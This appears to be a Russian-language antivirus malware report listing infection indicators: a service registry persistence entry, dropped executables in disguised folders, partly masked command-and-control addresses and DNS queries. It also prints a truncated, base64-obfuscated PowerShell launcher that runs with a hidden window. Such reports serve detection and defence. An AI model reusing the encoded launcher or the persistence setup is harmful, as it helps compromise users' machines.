Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\avicap32] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\avicap32] 'ImagePath' = '"%WINDIR%\SysWOW64\MP43DECD\avicap32.exe"'
- 'avicap32' "%WINDIR%\SysWOW64\MP43DECD\avicap32.exe"
- 'avicap32' %WINDIR%\SysWOW64\MP43DECD\avicap32.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABFADYAdQBvAHMAeABlAD0AKAAoACcARwBfACcAKwAnAGYAcwAnACkAKwAoACcANgAnACsAJwBiADUAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAG4AdgA6AFUAUwBFAHIAUABSAE8ARgBpAEwARQBcA...
- %HOMEPATH%\cbuto24\o8n2p17\gl4y9ghg.exe
- %WINDIR%\syswow64\mp43decd\avicap32.exe
- %HOMEPATH%\cbuto24\o8n2p17\gl4y9ghg.exe в %WINDIR%\syswow64\mp43decd\avicap32.exe
- '24.##.32.186':80
- http://th####flower.com/wp-admin/f5/
- http://24.##.32.186/txf33LxXtONBfm/33SdRCEVyI/DEGkbh/TdOQI48WJ6E1giTUMp/OBTzFt1tOJrLtL/
- DNS ASK th####flower.com
- DNS ASK ja##app.com
- '%HOMEPATH%\cbuto24\o8n2p17\gl4y9ghg.exe'
- '%WINDIR%\syswow64\mp43decd\avicap32.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABFADYAdQBvAHMAeABlAD0AKAAoACcARwBfACcAKwAnAGYAcwAnACkAKwAoACcANgAnACsAJwBiADUAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAG4AdgA6AFUAUwBFAHIAUABSAE8ARgBpAEwARQBcA...' (со скрытым окном)